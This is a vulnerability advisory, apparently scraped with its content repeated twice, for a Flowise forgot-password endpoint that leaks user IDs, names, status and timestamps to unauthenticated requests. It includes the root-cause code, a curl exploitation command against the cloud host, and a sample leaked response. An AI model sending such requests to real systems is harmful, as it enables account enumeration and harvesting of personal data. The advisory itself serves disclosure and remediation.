CVE-2026-56267

Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.

Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.

Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.

Summary

The /api/v1/account/forgot-password endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.

Vulnerability Details

| Field | Value | |-------|-------| | CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor | | Affected File | packages/server/src/enterprise/services/account.service.ts (lines 517-545) | | Endpoint | POST /api/v1/account/forgot-password | | Authentication | None required | | CVSS 3.1 | 3.7 (Low) |

Root Cause

In account.service.ts, the forgotPassword method returns the sanitized user object instead of a simple success acknowledgment:

public async forgotPassword(data: AccountDTO) {
    // ...
    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)

    data.user = user
    // ... password reset logic ...

    return sanitizeUser(data.user)  // Returns user object with PII
}

The sanitizeUser function only removes sensitive authentication fields:

export function sanitizeUser(user: Partial<User>) {
    delete user.credential    // password hash
    delete user.tempToken     // reset token
    delete user.tokenExpiry

    return user  // Still contains: id, name, email, status, createdDate, updatedDate
}

Impact

An unauthenticated attacker can:

1. Harvest PII: Collect user IDs, full names, and account metadata
2. Profile users: Determine account creation dates and activity patterns
3. Enumerate accounts: Confirm email existence and gather associated data
4. Enable further attacks: Use harvested data for social engineering or targeted phishing

Exploitation

curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

Evidence

Request:

POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json

{"user":{"email":"[email protected]"}}

Response (201 Created):

{
    "id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "name": "Vefag naprb",
    "email": "[email protected]",
    "status": "active",
    "createdDate": "2026-01-17T15:21:59.152Z",
    "updatedDate": "2026-01-17T15:35:06.492Z",
    "createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}

<img width="1582" height="791" alt="screenshot" src="https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50" />

Exposed Data

| Field | Risk | |-------|------| | id | Internal user UUID - enables targeted attacks | | name | Full name - PII disclosure | | email | Email confirmation | | status | Account state information | | createdDate | User profiling | | updatedDate | Activity tracking | | createdBy / updatedBy | Internal reference leak |

Expected Behavior

A secure forgot-password endpoint should return a generic response regardless of whether the email exists:

{"message": "If this email exists, a password reset link has been sent."}

References

• CWE-200: Exposure of Sensitive Information
• OWASP Authentication Cheat Sheet

Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.

Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.

Summary

The /api/v1/account/forgot-password endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.

Vulnerability Details

| Field | Value | |-------|-------| | CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor | | Affected File | packages/server/src/enterprise/services/account.service.ts (lines 517-545) | | Endpoint | POST /api/v1/account/forgot-password | | Authentication | None required | | CVSS 3.1 | 3.7 (Low) |

Root Cause

In account.service.ts, the forgotPassword method returns the sanitized user object instead of a simple success acknowledgment:

public async forgotPassword(data: AccountDTO) {
    // ...
    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)

    data.user = user
    // ... password reset logic ...

    return sanitizeUser(data.user)  // Returns user object with PII
}

The sanitizeUser function only removes sensitive authentication fields:

export function sanitizeUser(user: Partial<User>) {
    delete user.credential    // password hash
    delete user.tempToken     // reset token
    delete user.tokenExpiry

    return user  // Still contains: id, name, email, status, createdDate, updatedDate
}

Impact

An unauthenticated attacker can:

1. Harvest PII: Collect user IDs, full names, and account metadata
2. Profile users: Determine account creation dates and activity patterns
3. Enumerate accounts: Confirm email existence and gather associated data
4. Enable further attacks: Use harvested data for social engineering or targeted phishing

Exploitation

curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

Evidence

Request:

POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json

{"user":{"email":"[email protected]"}}

Response (201 Created):

{
    "id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "name": "Vefag naprb",
    "email": "[email protected]",
    "status": "active",
    "createdDate": "2026-01-17T15:21:59.152Z",
    "updatedDate": "2026-01-17T15:35:06.492Z",
    "createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}

<img width="1582" height="791" alt="screenshot" src="https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50" />

Exposed Data

| Field | Risk | |-------|------| | id | Internal user UUID - enables targeted attacks | | name | Full name - PII disclosure | | email | Email confirmation | | status | Account state information | | createdDate | User profiling | | updatedDate | Activity tracking | | createdBy / updatedBy | Internal reference leak |

Expected Behavior

A secure forgot-password endpoint should return a generic response regardless of whether the email exists:

{"message": "If this email exists, a password reset link has been sent."}

References

• CWE-200: Exposure of Sensitive Information
• OWASP Authentication Cheat Sheet